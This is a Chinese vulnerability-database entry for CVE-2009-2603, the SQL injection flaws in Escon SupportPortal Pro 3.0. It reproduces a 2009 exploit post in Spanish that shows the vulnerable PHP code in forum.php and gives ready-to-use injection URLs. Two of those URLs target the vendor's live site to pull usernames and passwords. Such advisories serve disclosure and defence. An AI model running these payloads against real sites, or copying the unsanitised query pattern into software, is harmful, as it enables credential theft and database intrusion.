Escon SupportPortal Pro index.php多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117875 漏洞类型 SQL注入
发布时间 2009-06-01 更新时间 2009-06-01
CVE编号 CVE-2009-2603 CNNVD-ID CNNVD-200907-375
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8840
https://www.securityfocus.com/bid/44494
https://cxsecurity.com/issue/WLB-2009070199
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200907-375
|漏洞详情
EsconSupportPortalPro3.0中的index.php存在多个SQL注入漏洞,允许远程攻击者借助(1)cat参数,(2)tid参数执行任意的SQL指令。
|漏洞EXP
Autor : OzX
Sitio : Foro.Undersecurity.net

Cms :  Escon SupportPortal Pro
Version : 3.0
Sitio: http://www.e-supportportal.com

Tipo Vulnz : Blind Sql Injection
Archivo : forum.php
Parametro Vulnerable 1 : cat
Parametro Vulnerable 2 : tid

Source Vulnz (forum.php):

60 -    if($_REQUEST["a"]=="rss"){
61 -        $cat=$_REQUEST["cat"];
62 -        $tid=$_REQUEST["tid"];
63 -        header('Content-type: application/rss+xml');
64 - 
65 -      $app_url=trim(dlookup("app_url","site","sid=$sid"),"/")."/";
66 -
67 -
68 -  if(isset($_REQUEST['tid']))
69 -     $r=dlookup_row("select * from fr where sid=$sid and id=$tid");
70 -  else {$r=dlookup_row("select * from fr_cat where sid=$sid and id=$cat");$tid=0;}
71 -  echo "<?xml version=\"1.0\" ?>";


Ejemplo:
http://www.site.comforum.php?a=rss&cat=[SQLI]&tid=[SQLI]

Otros:

Usuario :
ttp://www.e-supportportal.com/app/forum.php?cat=6&tid=33+and+(select+uname+from+usr+limit+0,1)

PassWord :
http://www.e-supportportal.com/app/forum.php?cat=6&tid=33+and+(select+upwd+from+usr+limit+0,1)

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.


Site Referer : http://foro.undersecurity.net/read.php?16,1971,1971#msg-1971

# milw0rm.com [2009-06-01]
|参考资料

来源:XF
名称:esconsupportportal-forum-sql-injectiom(50874)
链接:http://xforce.iss.net/xforce/xfdb/50874
来源:MILW0RM
名称:8840
链接:http://www.milw0rm.com/exploits/8840
来源:SECUNIA
名称:35300
链接:http://secunia.com/advisories/35300